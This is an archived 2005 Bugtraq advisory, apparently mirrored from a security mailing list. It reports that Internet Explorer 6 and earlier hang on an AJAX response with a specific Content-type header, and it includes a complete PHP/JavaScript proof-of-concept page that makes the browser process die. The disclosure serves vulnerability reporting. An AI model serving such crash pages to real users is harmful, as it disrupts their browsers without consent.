Internet Explorer AJAX Bug

anakin_at_php5.pl
Date: 07/26/05

  • Next message: securityfocus.5.stele_at_spamgourmet.com: "Re: Local privilege escalation using runasp V3.5.1"
    Date: 26 Jul 2005 16:23:01 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is) Summary:
    Internet Explorer 6.0 and below hangs when entering prepared page

    Details:
    When using AJAX (Asynchronous JavaScript and XML) to load page content dynamicly we are allowed to do anything on the side of server. Internet Explorer process hangs when Content-type header is sent within.

    Vulnerable Versions:
    Internet Explorer 6.0 and below, tested on Windows XP, 2000 and 2003.

    Patches/Workarounds:
    Unknown.

    Exploits:
    Execute the following PHP script in IE to cause it's process to die.

    <?php

        if (@$_SERVER['QUERY_STRING'] == 'ajax') {
            /**
                Sending this header causes Internet Explorer to hang.
            */
            header('Content-type: text/html; encoding=utf-8');
            echo "\n";
            exit;
        }

    ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
    <head>
      <title></title>
      <script type="text/javascript">
      
        function pageLoad() {
        
            xmlHttp = false;
            try {
                xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
            } catch (e) {
                try {
                    xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
                } catch (e) {
                    xmlHttp = false;
                }
            }
            if (!xmlHttp && typeof XMLHttpRequest != 'undefined')
              xmlHttp = new XMLHttpRequest();
            if (!xmlHttp)
              return;
            xmlHttp.open("GET", "?ajax", true);
            xmlHttp.send(null);
        }
      
      </script>
    </head>
    <body onload="pageLoad()">
    </body>
    </html>

    Discovered by
    &#321;ukasz Lach
    anakin[at]php5[dot]pl


  • Next message: securityfocus.5.stele_at_spamgourmet.com: "Re: Local privilege escalation using runasp V3.5.1"

    Relevant Pages

    • WinXP Pro Hangs up with Internet Explorer 6.0 (SP-1)
      ... WinXP Pro Hangs up with Internet Explorer 6.0 ... When I log onto the internet, with Internet Explorer 6.0 (SP-1), everything ...
      (microsoft.public.windows.inetexplorer.ie6.browser)
    • Internet Explorer Hangs Up under XP
      ... Internet Explorer 'Hangs Up' under XP ... I recently Upgraded to Windows XP Professional from Windows 98 (First ... Most everything went smoothly except for my web access. ...
      (microsoft.public.windowsxp.help_and_support)
    • Internet Explorer Hangs Up under XP
      ... Internet Explorer 'Hangs Up' under XP ... I recently Upgraded to Windows XP Professional from Windows 98 (First ... Most everything went smoothly except for my web access. ...
      (microsoft.public.windowsxp.configuration_manage)
    • Internet Explorer Hangs Up under XP
      ... Internet Explorer 'Hangs Up' under XP ... I recently Upgraded to Windows XP Professional from Windows 98 (First ... Most everything went smoothly except for my web access. ...
      (microsoft.public.windowsxp.hardware)
    • Internet Explorer Hangs Up under XP
      ... Internet Explorer 'Hangs Up' under XP ... I recently Upgraded to Windows XP Professional from Windows 98 (First ... Most everything went smoothly except for my web access. ...
      (microsoft.public.windowsxp.general)